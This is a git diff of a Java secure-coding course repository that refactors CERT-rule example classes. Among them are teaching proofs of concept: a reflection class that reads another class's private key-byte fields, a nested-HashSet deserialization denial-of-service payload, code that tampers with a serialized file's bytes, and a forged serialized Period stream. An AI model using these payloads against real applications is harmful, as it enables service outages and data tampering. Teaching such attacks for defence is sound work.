WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE @@ -20,46 +20,38 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package acc01j; +package obj14j; -import src.acclib.acclib.LibClass; +import java.lang.reflect.Array; +import java.lang.reflect.Field; -import java.security.CodeSource; -import java.security.Permission; -import java.security.PermissionCollection; -import java.security.Policy; -import java.util.ArrayList; -import java.util.Enumeration; -import java.util.List; - -class AppClass { +class Spy { public static void main(String[] args) { - // acc01j/java.policy SecurityManager sm = System.getSecurityManager(); if (sm != null) { System.out.println("Security manager installed."); - List> privilegedClasses = new ArrayList<>(); - privilegedClasses.add(AppClass.class); - privilegedClasses.add(LibClass.class); - // Display privileges for all code bases - privilegedClasses.forEach(privilegedClass -> { - CodeSource cs = AppClass.class.getProtectionDomain().getCodeSource(); - System.out.println("path: " + cs.getLocation().getPath()); - - // Get all granted permissions - PermissionCollection collectPerm = Policy.getPolicy().getPermissions(cs); + } else { + System.out.println("No security manager."); + } - // View each permission in the permission collection - Enumeration permEnum = collectPerm.elements(); + // Returns an array of Field objects reflecting + // all the fields declared by the class (including private) + final Field[] fields = Leak.class.getDeclaredFields(); - while (permEnum.hasMoreElements()) { - System.out.println(permEnum.nextElement()); + // Enumerate fields + for (Field field : fields) { + System.out.println("Field: " + field); + if (field.getType().isArray()) { + try { + Object array = field.get("keyBytes".getClass()); + int length = Array.getLength(array); + for (int j = 0; j < length; j++) { + System.out.println(Array.get(array, j)); + } + } catch (IllegalArgumentException | IllegalAccessException e) { + e.printStackTrace(); } - }); - } else { - System.out.println("No security manager."); + } } - System.setProperty(LibClass.OPTIONS, "extra-secure"); - System.out.println(LibClass.getOptions()); - } -} \ No newline at end of file + } // end main +} diff --git a/JavaSCR/src/main/java/STR00J/ReadString.java b/JavaSCR9/src/main/java/partialRead/ReadString.java similarity index 63% rename from JavaSCR/src/main/java/STR00J/ReadString.java rename to JavaSCR9/src/main/java/partialRead/ReadString.java index cd95161..86cad85 100644 --- a/JavaSCR/src/main/java/STR00J/ReadString.java +++ b/JavaSCR9/src/main/java/partialRead/ReadString.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,14 +20,14 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package STR00J; +package partialRead; -import java.io.UnsupportedEncodingException; +import java.nio.charset.StandardCharsets; class ReadString { public static void main(String[] args) { - String str = ""; + StringBuilder str = new StringBuilder(); int offset; // initialized to zero // A = 41 Ω = CE A9 語 = E8 AA 9E @@ -46,34 +46,30 @@ public static void main(String[] args) { (byte) 0xDC, (byte) 0x00, (byte) 0x00, (byte) 0x41 }; - try { - // Read UTF-8 Data from 4 byte buffer - for (offset = 0; offset < utf8_data.length; offset += 4) { - str += new String(utf8_data, offset, 4, "UTF-8"); - } - - // convert full string - String reference_utf8_str = new String(utf8_data, "UTF-8"); + // Read UTF-8 Data from 4 byte buffer + for (offset = 0; offset < utf8_data.length; offset += 4) { + str.append(new String(utf8_data, offset, 4, StandardCharsets.UTF_8)); + } - if (!reference_utf8_str.equals(str)) { - System.out.println("UTF-8 strings are not equal"); - } + // convert full string + String reference_utf8_str = new String(utf8_data, StandardCharsets.UTF_8); - // Read UTF-16 Data from 4 byte buffer - str = ""; - for (offset = 0; offset < utf16_data.length; offset += 4) { - str += new String(utf16_data, offset, 4, "UTF-16"); - } + if (!reference_utf8_str.equals(str.toString())) { + System.out.println("UTF-8 strings are not equal"); + } - // print full string - String reference_utf16_str = new String(utf16_data, "UTF-16"); + // Read UTF-16 Data from 4 byte buffer + str = new StringBuilder(); + for (offset = 0; offset < utf16_data.length; offset += 4) { + str.append(new String(utf16_data, offset, 4, StandardCharsets.UTF_16)); + } - if (!reference_utf16_str.equals(str)) { - System.out.println("UTF-16 strings are not equal"); - } + // print full string + String reference_utf16_str = new String(utf16_data, StandardCharsets.UTF_16); - } catch (UnsupportedEncodingException e) { - e.printStackTrace(); + if (!reference_utf16_str.equals(str.toString())) { + System.out.println("UTF-16 strings are not equal"); } + } // main -} // class REadString +} // class ReadString diff --git a/JavaSCR9/src/main/java/rawparam/Box.java b/JavaSCR9/src/main/java/rawparam/Box.java new file mode 100644 index 0000000..22bb0f2 --- /dev/null +++ b/JavaSCR9/src/main/java/rawparam/Box.java @@ -0,0 +1,83 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package rawparam; + +import java.util.ArrayList; +import java.util.List; + +/** + * Generic version of the Box class. + * + * @param the type of the value being boxed + */ + +// @SuppressWarnings("unchecked") + +class Box { + // T stands for "Type" + private T t; + + void set(T t) { + this.t = t; + } + + public T get() { + return t; + } + + public static void main(String[] args) { + // invocation of the set method is allowed if the argument is compatible with Number + Box box = new Box<>(); + Integer i = 10; + Double d = 10.1; + box.set(i); // OK + box.set(d); // Warning: Raw use of parameterized class 'Box' + + Box intBox = new Box<>(); + intBox.set(1); + + // If the actual type argument is omitted, a raw type of Box is created: + Box rawBox; + + // For backward compatibility, assigning a parameterized type to its raw type is allowed: + Box stringBox = new Box<>(); + rawBox = stringBox; // Warning: Raw use of parameterized class 'Box' + rawBox.set(8); // Warning: Unchecked assignment: 'rawparam.Box' to 'rawparam.Box' + + // Assigning a raw type to a parameterized type, creates a warning: + rawBox = new Box(); // Warning: Raw use of parameterized class 'Box' + intBox = rawBox; + + // Warning: Raw use of parameterized class 'List' + // Warning: Raw use of parameterized class 'ArrayList' + // Warning: Unchecked assignment: 'java.util.List' to 'java.util.List' + List ls = (List) new ArrayList(); + + // Warning: Condition 'intBox.getClass() == stringBox.getClass()' is always 'true' + if (intBox.getClass() == stringBox.getClass()) { + System.out.println("intBox.getClass() == stringBox.getClass()"); + } + + } + +} \ No newline at end of file diff --git a/JavaSCR9/src/main/java/rawparam/UnsafeVarargs.java b/JavaSCR9/src/main/java/rawparam/UnsafeVarargs.java new file mode 100644 index 0000000..ab89015 --- /dev/null +++ b/JavaSCR9/src/main/java/rawparam/UnsafeVarargs.java @@ -0,0 +1,41 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package rawparam; + +import java.util.Arrays; + +class UnsafeVarargs { + private static T[] asArray(T... args) { + return args; // returns Object[] + } + + private static T[] arrayOfTwo(T a, T b) { + // Unchecked generics array creation for varargs parameter + return asArray(a, b); + } + + public static void main(String[] args) { + String[] bar = arrayOfTwo("hi", "mom"); + System.out.println(Arrays.toString(bar)); + } +} diff --git a/JavaSCR/src/main/java/OBJ03J/listUtility.java b/JavaSCR9/src/main/java/rawparam/listUtility.java similarity index 97% rename from JavaSCR/src/main/java/OBJ03J/listUtility.java rename to JavaSCR9/src/main/java/rawparam/listUtility.java index 024d8a6..0082588 100644 --- a/JavaSCR/src/main/java/OBJ03J/listUtility.java +++ b/JavaSCR9/src/main/java/rawparam/listUtility.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ03J; +package rawparam; import java.util.ArrayList; import java.util.Collections; diff --git a/JavaSCR/src/main/java/ser00j/GameWeapon.java b/JavaSCR9/src/main/java/ser00j/GameWeapon.java similarity index 72% rename from JavaSCR/src/main/java/ser00j/GameWeapon.java rename to JavaSCR9/src/main/java/ser00j/GameWeapon.java index b1ee8ed..379d909 100644 --- a/JavaSCR/src/main/java/ser00j/GameWeapon.java +++ b/JavaSCR9/src/main/java/ser00j/GameWeapon.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -22,40 +22,27 @@ package ser00j; +import serial.Serial; + import java.io.*; public class GameWeapon implements Serializable { + @java.io.Serial private static final long serialVersionUID = -2219161247533868418L; - private String Weapon = "BFG"; + private final String Weapon = "BFG"; + @java.io.Serial private static final ObjectStreamField[] serialPersistentFields = { new ObjectStreamField("ws", WeaponStore.class) }; // What happens if transient and serialPersistentFields conflict? - /* transient */ private WeaponStore ws; + /* transient */ private final WeaponStore ws; public GameWeapon() { ws = new WeaponStore(); } - private static byte[] serialize(Object o) throws IOException { - try (ByteArrayOutputStream ba = new ByteArrayOutputStream()) { - try (ObjectOutputStream oos = new ObjectOutputStream(ba)) { - oos.writeObject(o); - return ba.toByteArray(); - } - } - } - - private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException { - Object obj; - try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) { - obj = ois.readObject(); - } - return obj; - } - @Override public String toString() { return String.valueOf(this.ws); @@ -63,7 +50,7 @@ public String toString() { public static void main(String[] args) throws IOException, ClassNotFoundException { GameWeapon gw = new GameWeapon(); - gw = (GameWeapon) deserialize(serialize(gw)); + gw = (GameWeapon) Serial.deserialize(Serial.serialize(gw)); System.out.println("No. of Weapons = " + gw.ws.numOfWeapons); System.out.println("Weapon = " + gw.Weapon); } diff --git a/JavaSCR/src/main/java/ser00j/WeaponStore.java b/JavaSCR9/src/main/java/ser00j/WeaponStore.java similarity index 95% rename from JavaSCR/src/main/java/ser00j/WeaponStore.java rename to JavaSCR9/src/main/java/ser00j/WeaponStore.java index 32eefde..b4ec282 100644 --- a/JavaSCR/src/main/java/ser00j/WeaponStore.java +++ b/JavaSCR9/src/main/java/ser00j/WeaponStore.java @@ -26,5 +26,5 @@ class WeaponStore implements Serializable { private static final long serialVersionUID = 828510012637666126L; - int numOfWeapons = 10; // Total number of weapons + final int numOfWeapons = 10; // Total number of weapons } \ No newline at end of file diff --git a/JavaSCR/src/main/java/ser02j/MapSerializer.java b/JavaSCR9/src/main/java/ser02j/MapSerializer.java similarity index 95% rename from JavaSCR/src/main/java/ser02j/MapSerializer.java rename to JavaSCR9/src/main/java/ser02j/MapSerializer.java index 96a5e00..996a293 100644 --- a/JavaSCR/src/main/java/ser02j/MapSerializer.java +++ b/JavaSCR9/src/main/java/ser02j/MapSerializer.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -47,14 +47,14 @@ class MapSerializer { private static SerializableMap buildMap() { SerializableMap map = new SerializableMap<>(); - map.setData("John Doe", "012-34-5678"); //$NON-NLS-2$ - map.setData("Jane Doe", "987-65-4321"); //$NON-NLS-2$ + map.setData("John Doe", "012-34-5678"); + map.setData("Jane Doe", "987-65-4321"); return map; } private static void InspectMap(SerializableMap map) { - System.out.println("John Doe CC#: " + map.getData("John Doe")); //$NON-NLS-2$ - System.out.println("Jane Doe CC#: " + map.getData("Jane Doe")); //$NON-NLS-2$ + System.out.println("John Doe CC#: " + map.getData("John Doe")); + System.out.println("Jane Doe CC#: " + map.getData("Jane Doe")); } @SuppressWarnings("unchecked") diff --git a/JavaSCR/src/main/java/ser02j/SerializableMap.java b/JavaSCR9/src/main/java/ser02j/SerializableMap.java similarity index 97% rename from JavaSCR/src/main/java/ser02j/SerializableMap.java rename to JavaSCR9/src/main/java/ser02j/SerializableMap.java index 8e6921f..1aa0bfe 100644 --- a/JavaSCR/src/main/java/ser02j/SerializableMap.java +++ b/JavaSCR9/src/main/java/ser02j/SerializableMap.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/ser03j/Malicious.java b/JavaSCR9/src/main/java/ser03j/Malicious.java similarity index 75% rename from JavaSCR/src/main/java/ser03j/Malicious.java rename to JavaSCR9/src/main/java/ser03j/Malicious.java index a0f8c97..a43f811 100644 --- a/JavaSCR/src/main/java/ser03j/Malicious.java +++ b/JavaSCR9/src/main/java/ser03j/Malicious.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -22,25 +22,12 @@ package ser03j; +import serial.Serial; + import java.io.*; class Malicious { - private static byte[] serialize(Object o) throws IOException { - try (ByteArrayOutputStream ba = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(ba)) { - oos.writeObject(o); - return ba.toByteArray(); - } - } - - private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException { - Object obj; - try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) { - obj = ois.readObject(); - } - return obj; - } - /** * Copies a specified Object by serializing then deserializing the object. *

@@ -50,7 +37,7 @@ private static Object deserialize(byte[] buffer) throws IOException, ClassNotFou * @return copy of obj */ private static Object serialCopy(Object obj) throws IOException, ClassNotFoundException { - return deserialize(serialize(obj)); + return Serial.deserialize(Serial.serialize(obj)); } // end serialCopy() public static void main(String[] args) throws IOException, ClassNotFoundException { diff --git a/JavaSCR/src/main/java/ser03j/Singleton.java b/JavaSCR9/src/main/java/ser03j/Singleton.java similarity index 96% rename from JavaSCR/src/main/java/ser03j/Singleton.java rename to JavaSCR9/src/main/java/ser03j/Singleton.java index 802de84..77e415a 100644 --- a/JavaSCR/src/main/java/ser03j/Singleton.java +++ b/JavaSCR9/src/main/java/ser03j/Singleton.java @@ -22,10 +22,6 @@ package ser03j; -import java.io.IOException; -import java.io.NotSerializableException; -import java.io.ObjectStreamException; - public final class Singleton extends Number { private static final long serialVersionUID = 1L; private static final Singleton INSTANCE = new Singleton(); diff --git a/JavaSCR/src/main/java/ser04j/Hometown.java b/JavaSCR9/src/main/java/ser04j/Hometown.java similarity index 64% rename from JavaSCR/src/main/java/ser04j/Hometown.java rename to JavaSCR9/src/main/java/ser04j/Hometown.java index 1fb0885..9482744 100644 --- a/JavaSCR/src/main/java/ser04j/Hometown.java +++ b/JavaSCR9/src/main/java/ser04j/Hometown.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -22,14 +22,9 @@ package ser04j; -import java.io.File; -import java.io.FileInputStream; -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.io.Serializable; -import java.nio.file.AccessDeniedException; +import java.io.*; +import java.nio.charset.StandardCharsets; +import java.nio.file.*; public final class Hometown implements Serializable { private static final long serialVersionUID = 6515419803685137985L; @@ -64,7 +59,6 @@ public void setTown(String newTown) throws AccessDeniedException { @SuppressWarnings("static-method") private void writeObject(ObjectOutputStream out) throws IOException { - System.out.println("writeObject called"); out.defaultWriteObject(); } @@ -75,14 +69,63 @@ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundE this.town = readTown; } + // tamper with the serialized data to change home town to Moscow + public static void makeWarsawMoscow(String fileName) throws IOException { + RandomAccessFile hometownFile = new RandomAccessFile(fileName, "rw"); + byte[] buffer1 = new byte[100]; + byte[] buffer2 = new byte[4]; + byte[] moscowBytes = "Moscow".getBytes(StandardCharsets.US_ASCII); + + // home town name starts 68 bytes in + hometownFile.readFully(buffer1, 0, 67); + + // skip over "Warsaw" in file + if (moscowBytes.length != hometownFile.skipBytes(moscowBytes.length)) { + throw new RuntimeException("Failed to modify hometown file."); + } + + // read the rest of the file + int endLength = hometownFile.read(buffer2); + + hometownFile.close(); + + // copy moscow to serialization data + System.arraycopy(moscowBytes, 0, buffer1, 67, moscowBytes.length); + + // copy the end of the serialized data + System.arraycopy(buffer2, 0, buffer1, 67+moscowBytes.length, endLength); + + // delete the original serialized file + // new File(fileName).delete(); + + try { + Files.delete(Paths.get(fileName)); + } catch (NoSuchFileException x) { + System.err.format("%s: no such" + " file or directory%n", fileName); + } catch (DirectoryNotEmptyException x) { + System.err.format("%s not empty%n", fileName); + } catch (IOException x) { + // File permission problems are caught here. + System.err.format("File permission error deleting %s%n", fileName); + } + + // create a new serialized file with our modified hometown + FileOutputStream serialOS = new FileOutputStream(fileName); + serialOS.write(buffer1); + serialOS.close(); + } + public static void main(String[] args) throws IOException, ClassNotFoundException { // Create Hometown object Hometown ht = new Hometown("Warsaw"); - System.out.println("Home town is " + ht.getTown()); + System.out.println("My home town is " + ht.getTown()); try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tempdata.ser")) ) { oos.writeObject(ht); } + + makeWarsawMoscow("tempdata.ser"); + // Construct a new object through deserialization try ( // Edit tempdata.ser in %userprofile%\git\JavaSCR @@ -90,7 +133,7 @@ public static void main(String[] args) throws IOException, ClassNotFoundExceptio ) { ht = (Hometown) ois.readObject(); } - System.out.println("My town is " + ht.getTown()); + System.out.println("My home town is " + ht.getTown()); // Clean up the file if (!new File("tempdata.ser").delete()) { diff --git a/JavaSCR/src/main/java/ser06j/SerialDOS.java b/JavaSCR9/src/main/java/ser06j/SerialDOS.java similarity index 74% rename from JavaSCR/src/main/java/ser06j/SerialDOS.java rename to JavaSCR9/src/main/java/ser06j/SerialDOS.java index b8c61ad..5f95244 100644 --- a/JavaSCR/src/main/java/ser06j/SerialDOS.java +++ b/JavaSCR9/src/main/java/ser06j/SerialDOS.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -22,28 +22,15 @@ package ser06j; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; +import ser09j.Bicycle; import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; import java.util.HashSet; import java.util.Set; +import serial.Serial; // java serialization DoS public class SerialDOS { - static byte[] serialize(Object o) throws IOException { - try (ByteArrayOutputStream ba = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(ba)) { - oos.writeObject(o); - return ba.toByteArray(); - } - } - - static Object deserialize(byte[] bytes) throws ClassNotFoundException, IOException { - return new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject(); - } - // Deserializing the HashSet will recurse indefinitely, consuming CPU static byte[] DoSpayload() throws IOException { Set root = new HashSet<>(); @@ -60,18 +47,18 @@ static byte[] DoSpayload() throws IOException { s1 = t1; s2 = t2; } - return serialize(root); + return Serial.serialize(root); } public static void main(String[] args) throws InterruptedException { // start a thread to deserialize the DoS payload new Thread(() -> { try { - deserialize(DoSpayload()); + Bicycle myBike = (Bicycle) Serial.deserialize(DoSpayload()); + System.out.println(myBike.getName() + " has been deserialized."); } catch (ClassNotFoundException | IOException e) { e.printStackTrace(); } - System.out.println("DoS has been deserialized."); }).start(); // give the thread 10 seconds to complete diff --git a/JavaSCR/src/main/java/ser07j/Period.java b/JavaSCR9/src/main/java/ser07j/Period.java similarity index 71% rename from JavaSCR/src/main/java/ser07j/Period.java rename to JavaSCR9/src/main/java/ser07j/Period.java index 479cc9c..9637c2d 100644 --- a/JavaSCR/src/main/java/ser07j/Period.java +++ b/JavaSCR9/src/main/java/ser07j/Period.java @@ -1,3 +1,25 @@ +// The MIT License (MIT) +// +// Copyright (c) 2019 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + package ser07j; import java.io.ByteArrayInputStream; diff --git a/JavaSCR9/src/main/java/ser08j/BogusPeriod.java b/JavaSCR9/src/main/java/ser08j/BogusPeriod.java new file mode 100644 index 0000000..ec186de --- /dev/null +++ b/JavaSCR9/src/main/java/ser08j/BogusPeriod.java @@ -0,0 +1,55 @@ +// The MIT License (MIT) +// +// Copyright (c) 2019 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package ser08j; + +import serial.Serial; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; + +public class BogusPeriod { + // Byte stream could not have come from real Period instance! + private static final byte[] serializedForm = new byte[] { + (byte)0xac, (byte)0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x06, + 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x40, 0x7e, (byte)0xf8, + 0x2b, 0x4f, 0x46, (byte)0xc0, (byte)0xf4, 0x02, 0x00, 0x02, + 0x4c, 0x00, 0x03, 0x65, 0x6e, 0x64, 0x74, 0x00, 0x10, 0x4c, + 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69, 0x6c, 0x2f, + 0x44, 0x61, 0x74, 0x65, 0x3b, 0x4c, 0x00, 0x05, 0x73, 0x74, + 0x61, 0x72, 0x74, 0x71, 0x00, 0x7e, 0x00, 0x01, 0x78, 0x70, + 0x73, 0x72, 0x00, 0x0e, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x75, + 0x74, 0x69, 0x6c, 0x2e, 0x44, 0x61, 0x74, 0x65, 0x68, 0x6a, + (byte)0x81, 0x01, 0x4b, 0x59, 0x74, 0x19, 0x03, 0x00, 0x00, + 0x78, 0x70, 0x77, 0x08, 0x00, 0x00, 0x00, 0x66, (byte)0xdf, + 0x6e, 0x1e, 0x00, 0x78, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x03, + 0x77, 0x08, 0x00, 0x00, 0x00, (byte)0xd5, 0x17, 0x69, 0x22, + 0x00, 0x78 }; + + public static void main(String[] args) throws ClassNotFoundException, IOException { + Period p = (Period) Serial.deserialize(serializedForm); + System.out.println(p); + } + +} \ No newline at end of file diff --git a/JavaSCR/src/main/java/ser08j/MutablePeriod.java b/JavaSCR9/src/main/java/ser08j/MutablePeriod.java similarity index 98% rename from JavaSCR/src/main/java/ser08j/MutablePeriod.java rename to JavaSCR9/src/main/java/ser08j/MutablePeriod.java index 1f1cbda..35352e2 100644 --- a/JavaSCR/src/main/java/ser08j/MutablePeriod.java +++ b/JavaSCR9/src/main/java/ser08j/MutablePeriod.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/ser08j/Period.java b/JavaSCR9/src/main/java/ser08j/Period.java similarity index 94% rename from JavaSCR/src/main/java/ser08j/Period.java rename to JavaSCR9/src/main/java/ser08j/Period.java index f4a52b7..d71fdf0 100644 --- a/JavaSCR/src/main/java/ser08j/Period.java +++ b/JavaSCR9/src/main/java/ser08j/Period.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -22,16 +22,13 @@ package ser08j; -import java.io.IOException; -import java.io.InvalidObjectException; -import java.io.ObjectInputStream; import java.io.Serializable; import java.util.Date; public final class Period implements Serializable { private static final long serialVersionUID = 4933289900620142386L; - private Date start; - private Date end; + private final Date start; + private final Date end; /** * @param start the beginning of the period diff --git a/JavaSCR9/src/main/java/ser09j/Bicycle.java b/JavaSCR9/src/main/java/ser09j/Bicycle.java index acd342a..005711e 100644 --- a/JavaSCR9/src/main/java/ser09j/Bicycle.java +++ b/JavaSCR9/src/main/java/ser09j/Bicycle.java @@ -1,3 +1,25 @@ +// The MIT License (MIT) +// +// Copyright (c) 2019 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + package ser09j; import java.io.Serializable; diff --git a/JavaSCR9/src/main/java/ser09j/BikeFilter.java b/JavaSCR9/src/main/java/ser09j/BikeFilter.java index 8656dff..600be56 100644 --- a/JavaSCR9/src/main/java/ser09j/BikeFilter.java +++ b/JavaSCR9/src/main/java/ser09j/BikeFilter.java @@ -1,3 +1,25 @@ +// The MIT License (MIT) +// +// Copyright (c) 2019 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the 